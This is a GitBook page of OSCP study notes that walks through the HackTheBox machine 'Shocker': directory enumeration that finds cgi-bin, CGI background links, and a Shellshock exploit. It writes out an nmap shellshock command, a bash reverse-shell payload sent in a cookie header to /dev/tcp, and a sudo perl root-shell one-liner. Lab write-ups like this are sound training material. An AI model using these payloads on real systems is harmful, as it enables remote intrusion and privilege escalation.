✍️
OSCP Prep
  • Welcome Aboard
  • Linux Basics
    • Command Line Fundamentals
  • Writeups
    • HackTheBox
      • Windows
        • Granny
        • Devel
        • Blue
        • Legacy
      • Linux
        • shocker
    • OSPG
    • TryHackMe
    • Vulnhub
      • Kioptrix Level1
  • Scanning and Enumeration
    • Index
    • Wordpress
      • wpscan
    • NMAP
    • DNS
    • NFS
    • DB
      • Oracle DB 1521
      • MySQL
    • SMB
      • msfconsole
      • crackmapexec
      • smbmap
      • smbclient
      • enum4linux
      • Mount smb share locally
    • SSH
    • HTTP
      • PUT Method
      • Untitled
  • Tools and Techniques
    • File Transfer
    • CMD-Fu
    • Cross Platform Exploit Compilation
    • Bash-Fu
    • Sniffing
      • tcpdump
      • Wireshark
    • Brute Force
      • Untitled
      • Hydra
    • Msfvenom
    • Password Cracking
      • John
      • Hashcat
  • Gaining Access and Exploitation
  • SQL Injection
    • sqlmap
    • mysql syntax
    • ms sql syntax
  • File Upload
  • LFI
  • Privilege Escalation
    • Windows
      • references links
      • Manual
        • SeTokenImpersonate
      • Scripts
    • Linux
      • Manual
        • Know your Enemy
      • Scripts
  • Mislu Tips
    • Troubleshooting
  • Buffer OverFlow under 30 min.
    • point n shoot
    • fuzzer.py
    • Addons reading material
  • Active Directory
    • Untitled
Powered by GitBook
On this page

Was this helpful?

  1. Writeups
  2. HackTheBox
  3. Linux

shocker

PreviousLinuxNextOSPG

Last updated 3 years ago

Was this helpful?

Shocker shellshock

apache header tells ubuntu version ssh version tells ubuntu version

Based on the OpenSSH and Apache versions, the host is likely running Ubuntu 16.04.

open in browser ; view page source gobuster does not reveals sesnitive dir because it does not dirb and dirsearch automatically addess a slash for directories in the wordlist but it doubles the no. of attempts . so dirb will find it in first go. if want to run gobuster add -f flag to look for directories i.e simply addessa a slash in wordlist

will get a cgi-bin directory

what is CGI ? let's configure our own cgi on apache server how to enable disable cgi for apache write your own cgi script configure cgi

Learning Apache http server - Executing CGI scripts - YouTube

Lecture -19 CGI Scripts - YouTube

Common gateway interface|CGI bin - YouTube

Common Gateway Interface(CGI) || working process of Common Gateway Interface - YouTube

Create first cgi script - YouTube

How To Enable or Disable CGI Scripts in Apache - YouTube

run recurse inside this directory looking for command cgi scripts

it defines how info / comm takes place btwn browser n server

creating pages dynamically noyh

shellshock is a bug in bash old version of bash precisely Shellshock Code & the Bash Bug - Computerphile

└─$ gobuster dir -o gobust-cgi.txt -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u -x sh,pl,cgi

nmap -p80 --scipt http-shellshock --script-args uri=/cgi-bin/user.sh,cmd=echo\;/bin/ls

reverse shell bash one liner rev shell cookie: () { :;}; echo; /bin/bash -i >&& /dev/tcp/ip/port 0>&1

priv esc sudo /usr/bin/perl -e 'exec("/bin/bash")'

https://packages.ubuntu.com/search?keywords=openssh-server
https://packages.ubuntu.com/search?keywords=apache2
https://www.youtube.com/watch?v=aWWK5tqvuyg
https://www.youtube.com/watch?v=cP1fN6xf3nI
https://www.youtube.com/watch?v=rRnMLwj5GWk
https://www.youtube.com/watch?v=cKckh5pD7VI
https://www.youtube.com/watch?v=XBnGTXDu9gc
https://www.youtube.com/watch?v=Wr2IVt9X-zY
https://www.youtube.com/watch?v=MyldPMn95kk
http://10.10.10.56/cgi-bin/